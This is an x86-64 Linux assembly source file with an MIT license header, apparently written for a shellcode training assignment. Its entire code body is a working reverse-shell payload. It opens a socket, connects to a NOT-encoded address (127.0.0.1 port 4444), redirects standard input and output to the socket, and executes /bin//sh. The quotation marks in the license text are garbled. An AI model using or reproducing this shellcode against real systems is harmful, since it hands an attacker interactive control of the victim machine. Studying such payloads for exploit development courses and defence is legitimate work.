;The MIT License (MIT)
 
;Copyright (c) 2017 Robert L. Taylor
 
;Permission is hereby granted, free of charge, to any person obtaining a 
;copy of this software and associated documentation files (the aSoftwarea), 
;to deal in the Software without restriction, including without limitation 
;the rights to use, copy, modify, merge, publish, distribute, sublicense, 
;and/or sell copies of the Software, and to permit persons to whom the 
;Software is furnished to do so, subject to the following conditions:
 
;The above copyright notice and this permission notice shall be included 
;in all copies or substantial portions of the Software.
 
;The Software is provided aas isa, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability, 
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other 
;liability, whether in an action of contract, tort or otherwise, arising 
;from, out of or in connection with the software or the use or other 
;dealings in the Software.
;
; For a detailed explanation of this shellcode see my blog post: 
; http://a41l4.blogspot.ca/2017/02/assignment-2b.html
 
global _start
section .text
_start:
; Socket
    push 41
    pop rax
    push 2
    pop rdi
    push 1
    pop rsi
    cdq
    syscall
; Connect
    xchg edi, eax
    push rdx
    mov rbx, 0xfeffff80a3eefffd ; not encoded 0x0100007f5c110002
    not rbx
    push rbx
    mov al, 42
    push rsp
    pop rsi
    mov dl, 16
    syscall
; Dup 2
    push 3
    pop rsi
dup2loop:   
    mov al, 33
    dec esi
        syscall
    loopnz dup2loop
; Execve
    ; rax and rsi are zero from the result of the last dup2 syscall and loop
        push rax ; zero terminator for the following string that we are pushing
 
        mov rbx, '/bin//sh'
        push rbx
 
        ; store /bin//sh address in RDI
    push rsp
    pop rdi
     
    cdq ; zero rdx
 
    mov al, 59
        syscall